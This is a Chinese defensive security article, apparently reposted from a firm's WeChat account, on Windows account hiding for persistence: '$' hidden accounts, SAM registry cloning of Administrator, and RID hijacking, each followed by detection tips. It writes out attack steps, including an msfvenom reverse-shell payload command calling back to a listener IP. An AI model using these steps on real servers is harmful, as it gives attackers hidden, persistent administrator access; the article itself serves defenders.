写在前边
本文主要记录了当攻击者拿下一台服务器后要进行权限维持,是如何进行隐藏创建账号的过程。对于防守方需要先知道对方的攻击手段,才能进一步去巩固我们的服务器。
当攻击者拿下一台服务器后,想要达到持久控制,一般会创建系统账号来进行权限维持,但攻击者如果不加隐藏的话很容易被系统管理员所发现,同时做出相应的防御错误。
显然攻击者一般不会轻易地让管理人员发现,因此一般会从下文介绍到的几方面来进行攻击。
在本文中笔者将以Windows服务器为例,简单介绍一下攻击方法,重点介绍其相应的防御方法。
一、创建隐藏账户
1、 在创建用户时使用 $ 来创建隐藏账户,例如:
net user ph$
2、直接在CMD命令中使用命令无法查看到新建用户。
net user
防御措施
1、在计算机管理中查看用户,可以查看到所创建的隐藏账户。
> 开始 -> 管理工具 -> 本地用户与组 -> 用户
*左右滑动查看更多
2、若使用创建的新账户登录,Windows系统会在C:Users为每一个用户以其用户名为目录名创建一个家目录,所以管理员可以通过观察该目录下是否出现了异常目录来进行判断。
上述创建隐藏账户的方法比较简单,管理人员容易察觉,攻击者一般用的会较少。
二、账号克隆
账号克隆方法一般对于攻击者来说比较常用,但是有一个缺陷,因为需要操作注册表,需要在本地执行。因此增加了攻击难度。
1、攻击者一般会先创建一个普通账户然后再进行克隆。如:
net user ph1$
2、攻击者再注册表中进行账号克隆。
win + r键 -- 输入:regedit
找到如下路径,打开第二个SAM文件时,我们一般没有权限,所以选中该文件然后右键,选中权限,打开后将administrator权限赋值为:完全控制。结束后点击确定,这个时候再在该页面顶部选择查看 -- 刷新 ,这个时候设置才会生效。
HKEY_LOCAL_MACHINE /SAM /SAM /Domains /Users /name
进入文件夹中找到你要克隆的账号,这里我们需要克隆Administrator账号,就选择该账号的文件夹并打开记住其类型值,笔者的这里是:1f4,然后根据类型值在Users文件夹下面找到对应类型值的目录。
打开上述找到的目录并打开里面名称为F的文件,复制里面的内容。
根据上述的方法,找到想要替换的用户,将复制的内容替换其F值里面的内容,我这里则是要替换ph1$账户的F值内容。
复制完成后,将ph1$和000003F0导出到桌面,导出之后在CMD中删除该账户:
net user ph1$ /del
这个时候再将刚刚导出的注册表文件导入注册表中。这个时候会发现在CMD窗口、在计算机管理中心都不能发现该账户,只能在注册表中才能找到该账户。
防御措施
通过这种方法创建的隐藏账户很难被发现,需要管理人员到注册表中才能够找到,极为危险。但可以通过某盾等工具快速查杀克隆账户。
三、RID劫持
账号克隆虽然很好用,但是需要本地权限,攻击者一般只能获得一个远程shell,所以RID劫持攻击就派上用场了。
其主要是利用系统资源,去劫持受害者服务器上的任意原有账户的RID,并且将劫持的RID分配给另外的一个用户。这样该用户就可以获得被劫持账户的权限、同时留存的日志信息也是被劫持者用户的,危害较大。
拓展阅读:
https://xz.aliyun.com/t/2998
1、将目标服务器上线MSF,相关过程这里就不详写了,只写最后结果。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.24 lport=12348 -f exe > shell2.exe
*左右滑动查看更多
2、通过反弹的shell创建一个账户,创建完成后记录当前的session编号放入后台运行。
3、使用MSF中rid_hijack工具进行RID劫持,配置后相应参数后进行运行劫持,返回如下界面表示劫持成功,通过我们劫持的账户可以进行远程登录,同时权限为被劫持的账户。
防御措施
RID劫持方法容易被攻击者使用,因为其攻击成本偏低,可以进行远程留账户后门。但是该方法也有相关的解决方案。
1、如果攻击者是自己创建的账户进行劫持,管理人员可以在计算机管理出查看是否有异常用户。
2、因为它也是克隆账户的一种,所以我们依然可以使用某盾查杀工具进程克隆账号查杀。
小结
服务器要时常打补丁,同时系统账号需要设置为强口令,管理人员需要多关注系统账户是否有异常,防止被攻击人员做权限维持。一旦出现异常要及时处理,防止攻击者进行横向渗透或获取核心数据。
原文始发于微信公众号(安恒信息安全服务):九维团队-蓝队(防御)| Windows账号隐藏应对办法
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论